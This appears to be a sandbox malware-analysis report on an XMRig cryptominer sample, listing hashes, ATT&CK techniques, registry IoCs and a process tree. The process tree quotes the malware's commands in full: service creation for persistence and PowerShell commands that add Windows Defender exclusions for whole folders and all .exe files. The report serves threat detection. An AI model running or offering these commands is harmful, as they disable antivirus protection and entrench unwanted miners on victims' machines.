xmrig | ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/08/2026, 00:45

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General

Target
ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe
Size 5.0MB
Sample260826-a4fdds1ckg
SHA256 ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44
MD5 08ca0ab7b1b29b1b45a42a8eb757c9fd
SHA1 6d6713dfe2a3216dd6a9cfdb25a9429179b11607
SHA512 5a6c89c567ee15f6176207286a9b13e5900067b585fb4bc390877b00cade2106c784ea96126c8bfbd8ff342fb1f05a0e8fd80c4fb338bde1dc43cbc9ef138562
SSDEEP 98304:g7MfJIvwimegk6eJLGoxx4FM5EIHb3Dt7msBNdca1CJ7WK6:g7MfKv1ykBlr+MpbF9+9
TLSH
T14F36339664DAD578C0A7CB7457A2217E733E7BE909A4FD027ACC26100E57F049A3E7C2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1440 created 3328	1440	SoftUpdateb320.exe	56
PID 3104 created 3328	3104	nslookup.exe	56

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/3596-200-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-202-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-205-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-204-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-203-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-206-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-207-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-211-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-213-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-212-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-214-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3596-216-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4588	powershell.exe
4524	powershell.exe
876	powershell.exe
972	powershell.exe
2340	powershell.exe
3412	powershell.exe
1416	powershell.exe
3372	powershell.exe
620	powershell.exe
1756	powershell.exe
2960	powershell.exe
4368	powershell.exe
4396	powershell.exe
864	powershell.exe
4548	powershell.exe

Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bggvzvryfr\Parameters\ServiceDll = "%systemroot%\\system32\\usosvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\csvgbjaecr\Parameters\ServiceDll = "%SystemRoot%\\System32\\WaaSMedicSvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\buthamuycx\Parameters\ServiceDll = "%systemroot%\\system32\\wuaueng.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bnjxzsitor\Parameters\ServiceDll = "%SystemRoot%\\System32\\qmgr.dll"	reg.exe

Sets service image path in registry 3 TTPs 5 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vegyntaudu\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k NetworkService -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bggvzvryfr\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\csvgbjaecr\ImagePath = "%systemroot%\\system32\\svchost.exe -k wusvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\buthamuycx\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bnjxzsitor\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k netsvcs -p"	reg.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Deletes itself 1 IoCs

pid	Process
4600	ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
1440	SoftUpdateb320.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
732	powercfg.exe
1500	powercfg.exe
628	powercfg.exe
3004	powercfg.exe

Drops file in System32 directory 30 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5F263F63198568CED7739E17893D8775_C0AA92254C78A6BA967C0D4296D07AD9	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\551D7685122C3BCF0F9B6EAE595D74D7_902354839A944131BA32226BAD75875D	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D676739C238C29BBB89884E22566B97B	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3FE2BD01AB6BC312BF0DADE7F797388F_D700B3BF42AE699B26DDBDD3E4CB7EDD	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5F263F63198568CED7739E17893D8775_C0AA92254C78A6BA967C0D4296D07AD9	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3FE2BD01AB6BC312BF0DADE7F797388F_D700B3BF42AE699B26DDBDD3E4CB7EDD	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D676739C238C29BBB89884E22566B97B	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\551D7685122C3BCF0F9B6EAE595D74D7_902354839A944131BA32226BAD75875D	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1440 set thread context of 3104	1440	SoftUpdateb320.exe	92
PID 3104 set thread context of 3596	3104	nslookup.exe	187

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4084	sc.exe
4216	sc.exe
4296	sc.exe
728	sc.exe
2100	sc.exe
1236	sc.exe
1820	sc.exe
4332	sc.exe
1428	sc.exe
464	sc.exe
1816	sc.exe
2456	sc.exe
1876	sc.exe
1544	sc.exe
3508	sc.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4600	ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe
4600	ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe
1440	SoftUpdateb320.exe
1440	SoftUpdateb320.exe
1440	SoftUpdateb320.exe
1440	SoftUpdateb320.exe
2960	powershell.exe
2960	powershell.exe
4368	powershell.exe
4368	powershell.exe
2340	powershell.exe
2340	powershell.exe
3412	powershell.exe
3412	powershell.exe
4396	powershell.exe
4396	powershell.exe
1416	powershell.exe
1416	powershell.exe
864	powershell.exe
864	powershell.exe
4548	powershell.exe
4548	powershell.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe
3104	nslookup.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4600	ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	SoftUpdateb320.exe
Token: SeDebugPrivilege	3104	nslookup.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeShutdownPrivilege	1500	powercfg.exe
Token: SeCreatePagefilePrivilege	1500	powercfg.exe
Token: SeShutdownPrivilege	628	powercfg.exe
Token: SeCreatePagefilePrivilege	628	powercfg.exe
Token: SeShutdownPrivilege	3004	powercfg.exe
Token: SeCreatePagefilePrivilege	3004	powercfg.exe
Token: SeShutdownPrivilege	732	powercfg.exe
Token: SeCreatePagefilePrivilege	732	powercfg.exe
Token: SeLockMemoryPrivilege	3596	svchost.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	972	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3596	svchost.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 1876	4600	ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe	85
PID 4600 wrote to memory of 4332	4600	ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe	87
PID 4600 wrote to memory of 1428	4600	ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe	89
PID 1440 wrote to memory of 3104	1440	SoftUpdateb320.exe	92
PID 3104 wrote to memory of 2960	3104	nslookup.exe	93
PID 3104 wrote to memory of 4368	3104	nslookup.exe	95
PID 3104 wrote to memory of 2340	3104	nslookup.exe	97
PID 3104 wrote to memory of 3412	3104	nslookup.exe	99
PID 3104 wrote to memory of 4396	3104	nslookup.exe	101
PID 3104 wrote to memory of 1416	3104	nslookup.exe	103
PID 3104 wrote to memory of 864	3104	nslookup.exe	105
PID 3104 wrote to memory of 4548	3104	nslookup.exe	188
PID 3104 wrote to memory of 4084	3104	nslookup.exe	109
PID 3104 wrote to memory of 1236	3104	nslookup.exe	111
PID 3104 wrote to memory of 4216	3104	nslookup.exe	113
PID 3104 wrote to memory of 4296	3104	nslookup.exe	115
PID 3104 wrote to memory of 1876	3104	nslookup.exe	117
PID 3104 wrote to memory of 2520	3104	nslookup.exe	119
PID 3104 wrote to memory of 464	3104	nslookup.exe	121
PID 3104 wrote to memory of 728	3104	nslookup.exe	123
PID 3104 wrote to memory of 3108	3104	nslookup.exe	125
PID 3104 wrote to memory of 1356	3104	nslookup.exe	127
PID 3104 wrote to memory of 1544	3104	nslookup.exe	129
PID 3104 wrote to memory of 2100	3104	nslookup.exe	131
PID 3104 wrote to memory of 2280	3104	nslookup.exe	133
PID 3104 wrote to memory of 4464	3104	nslookup.exe	135
PID 3104 wrote to memory of 1816	3104	nslookup.exe	137
PID 3104 wrote to memory of 1820	3104	nslookup.exe	139
PID 3104 wrote to memory of 4308	3104	nslookup.exe	141
PID 3104 wrote to memory of 2004	3104	nslookup.exe	143
PID 3104 wrote to memory of 2456	3104	nslookup.exe	145
PID 3104 wrote to memory of 3508	3104	nslookup.exe	147
PID 3104 wrote to memory of 2660	3104	nslookup.exe	149
PID 3104 wrote to memory of 3980	3104	nslookup.exe	151
PID 3104 wrote to memory of 4364	3104	nslookup.exe	153
PID 3104 wrote to memory of 3968	3104	nslookup.exe	155
PID 3104 wrote to memory of 1960	3104	nslookup.exe	157
PID 3104 wrote to memory of 1168	3104	nslookup.exe	159
PID 3104 wrote to memory of 4872	3104	nslookup.exe	161
PID 3104 wrote to memory of 3192	3104	nslookup.exe	163
PID 3104 wrote to memory of 696	3104	nslookup.exe	165
PID 3104 wrote to memory of 4416	3104	nslookup.exe	167
PID 3104 wrote to memory of 388	3104	nslookup.exe	169
PID 3104 wrote to memory of 1528	3104	nslookup.exe	171
PID 3104 wrote to memory of 396	3104	nslookup.exe	173
PID 3104 wrote to memory of 1500	3104	nslookup.exe	175
PID 3104 wrote to memory of 628	3104	nslookup.exe	176
PID 3104 wrote to memory of 3004	3104	nslookup.exe	177
PID 3104 wrote to memory of 732	3104	nslookup.exe	179
PID 3104 wrote to memory of 764	3104	nslookup.exe	180
PID 3104 wrote to memory of 5052	3104	nslookup.exe	185
PID 3104 wrote to memory of 3596	3104	nslookup.exe	187
PID 3104 wrote to memory of 3596	3104	nslookup.exe	187
PID 3104 wrote to memory of 4588	3104	nslookup.exe	190
PID 3104 wrote to memory of 4524	3104	nslookup.exe	192
PID 3104 wrote to memory of 876	3104	nslookup.exe	194
PID 3104 wrote to memory of 972	3104	nslookup.exe	196
PID 3104 wrote to memory of 3372	3104	nslookup.exe	198
PID 3104 wrote to memory of 620	3104	nslookup.exe	200
PID 3104 wrote to memory of 1756	3104	nslookup.exe	202
PID 3104 wrote to memory of 3032	3104	nslookup.exe	204
PID 3104 wrote to memory of 4528	3104	nslookup.exe	206

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3328
- C:\Users\Admin\AppData\Local\Temp\ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe
  "C:\Users\Admin\AppData\Local\Temp\ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44.exe"
  2⤵
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" delete "CheckManagerAgent_f549"
    3⤵
    - Launches sc.exe
    PID:1876
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create "CheckManagerAgent_f549" binpath= "C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4332
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" start "CheckManagerAgent_f549"
    3⤵
    - Launches sc.exe
    PID:1428
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
